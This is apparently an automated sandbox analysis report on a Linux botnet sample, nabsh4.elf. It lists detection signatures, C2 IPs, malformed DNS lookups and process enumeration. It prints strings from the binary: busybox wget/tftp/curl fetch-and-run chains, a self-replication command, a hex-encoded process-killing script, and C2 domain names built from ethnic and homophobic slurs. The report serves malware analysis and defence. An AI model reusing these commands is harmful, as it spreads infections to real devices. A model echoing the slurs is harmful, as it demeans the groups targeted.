Linux Analysis Report
nabsh4.elf

Overview

General Information

Sample name: nabsh4.elf
Analysis ID: 1543108
MD5: c4fde7b5f61eb4e22eeaca30c08ee1c2
SHA1: 8c496791025d33c2f82f7893ecd0c5bc5c8e8645
SHA256: 1fcc09390f6ecd25382752eee3f958f4d7fd53bc63d1465198d457d256b0b21d
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: nabsh4.elf ReversingLabs: Detection: 47%
Source: nabsh4.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking

barindex
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 185.150.24.67 ports 38241,1,2,3,4,8
Source: global traffic DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: burnthe.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]
Source: global traffic TCP traffic: 192.168.2.15:35556 -> 185.150.24.67:38241
Source: global traffic TCP traffic: 192.168.2.15:55628 -> 45.156.86.24:38241
Source: /tmp/nabsh4.elf (PID: 5848) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 133.31.220.151
Source: unknown TCP traffic detected without corresponding DNS query: 133.31.220.151
Source: unknown TCP traffic detected without corresponding DNS query: 168.70.76.125
Source: unknown TCP traffic detected without corresponding DNS query: 60.51.115.203
Source: unknown TCP traffic detected without corresponding DNS query: 133.31.220.151
Source: unknown TCP traffic detected without corresponding DNS query: 168.70.76.125
Source: unknown TCP traffic detected without corresponding DNS query: 155.57.100.37
Source: unknown TCP traffic detected without corresponding DNS query: 60.51.115.203
Source: unknown TCP traffic detected without corresponding DNS query: 124.206.17.163
Source: unknown TCP traffic detected without corresponding DNS query: 155.57.100.37
Source: unknown TCP traffic detected without corresponding DNS query: 26.2.194.203
Source: unknown TCP traffic detected without corresponding DNS query: 206.7.155.59
Source: unknown TCP traffic detected without corresponding DNS query: 124.206.17.163
Source: unknown TCP traffic detected without corresponding DNS query: 60.51.115.203
Source: unknown TCP traffic detected without corresponding DNS query: 168.70.76.125
Source: unknown TCP traffic detected without corresponding DNS query: 26.2.194.203
Source: unknown TCP traffic detected without corresponding DNS query: 153.246.216.182
Source: unknown TCP traffic detected without corresponding DNS query: 206.7.155.59
Source: unknown TCP traffic detected without corresponding DNS query: 155.57.100.37
Source: unknown TCP traffic detected without corresponding DNS query: 168.47.249.28
Source: unknown TCP traffic detected without corresponding DNS query: 153.246.216.182
Source: unknown TCP traffic detected without corresponding DNS query: 60.58.122.153
Source: unknown TCP traffic detected without corresponding DNS query: 124.206.17.163
Source: unknown TCP traffic detected without corresponding DNS query: 168.47.249.28
Source: unknown TCP traffic detected without corresponding DNS query: 160.32.79.91
Source: unknown TCP traffic detected without corresponding DNS query: 60.58.122.153
Source: unknown TCP traffic detected without corresponding DNS query: 128.231.245.9
Source: unknown TCP traffic detected without corresponding DNS query: 160.32.79.91
Source: unknown TCP traffic detected without corresponding DNS query: 93.23.255.104
Source: unknown TCP traffic detected without corresponding DNS query: 52.188.217.13
Source: unknown TCP traffic detected without corresponding DNS query: 128.231.245.9
Source: unknown TCP traffic detected without corresponding DNS query: 198.8.157.222
Source: unknown TCP traffic detected without corresponding DNS query: 26.2.194.203
Source: unknown TCP traffic detected without corresponding DNS query: 93.23.255.104
Source: unknown TCP traffic detected without corresponding DNS query: 52.225.34.4
Source: unknown TCP traffic detected without corresponding DNS query: 52.188.217.13
Source: unknown TCP traffic detected without corresponding DNS query: 206.7.155.59
Source: unknown TCP traffic detected without corresponding DNS query: 217.194.24.167
Source: unknown TCP traffic detected without corresponding DNS query: 198.8.157.222
Source: unknown TCP traffic detected without corresponding DNS query: 195.37.71.7
Source: unknown TCP traffic detected without corresponding DNS query: 52.225.34.4
Source: unknown TCP traffic detected without corresponding DNS query: 90.236.161.74
Source: unknown TCP traffic detected without corresponding DNS query: 153.246.216.182
Source: unknown TCP traffic detected without corresponding DNS query: 217.194.24.167
Source: unknown TCP traffic detected without corresponding DNS query: 181.24.247.142
Source: unknown TCP traffic detected without corresponding DNS query: 195.37.71.7
Source: unknown TCP traffic detected without corresponding DNS query: 81.215.105.219
Source: unknown TCP traffic detected without corresponding DNS query: 90.236.161.74
Source: unknown TCP traffic detected without corresponding DNS query: 83.231.168.229
Source: unknown TCP traffic detected without corresponding DNS query: 168.47.249.28
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: DNS query: burnthe.libre
Source: global traffic DNS traffic detected: DNS query: burnthe.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate. [malformed]
Source: nabsh4.elf String found in binary or memory: http:///curl.sh
Source: nabsh4.elf String found in binary or memory: http:///wget.sh
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/87@17/0
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5880/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5880/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5870/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5870/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5881/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5881/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5871/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5871/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5882/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5882/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5872/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5872/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5883/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5883/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5873/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5873/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5873/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5884/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5884/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5874/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5874/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5885/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5885/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5875/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5875/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5886/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5886/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5941/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5941/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5876/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5876/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5887/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5887/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5877/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5877/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5888/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5888/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5878/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5878/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5879/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5879/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5869/maps Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5855) File opened: /proc/5869/cmdline Jump to behavior
Source: /tmp/nabsh4.elf (PID: 5848) Queries kernel information via 'uname': Jump to behavior
Source: nabsh4.elf, 5848.1.00007ffc507f7000.00007ffc50818000.rw-.sdmp, nabsh4.elf, 5853.1.00007ffc507f7000.00007ffc50818000.rw-.sdmp Binary or memory string: 6x86_64/usr/bin/qemu-sh4/tmp/nabsh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabsh4.elf
Source: nabsh4.elf, 5848.1.00007ffc507f7000.00007ffc50818000.rw-.sdmp, nabsh4.elf, 5853.1.00007ffc507f7000.00007ffc50818000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: nabsh4.elf, 5848.1.000055a15f7f1000.000055a15f854000.rw-.sdmp, nabsh4.elf, 5853.1.000055a15f7f1000.000055a15f854000.rw-.sdmp Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: nabsh4.elf, 5848.1.000055a15f7f1000.000055a15f854000.rw-.sdmp, nabsh4.elf, 5853.1.000055a15f7f1000.000055a15f854000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs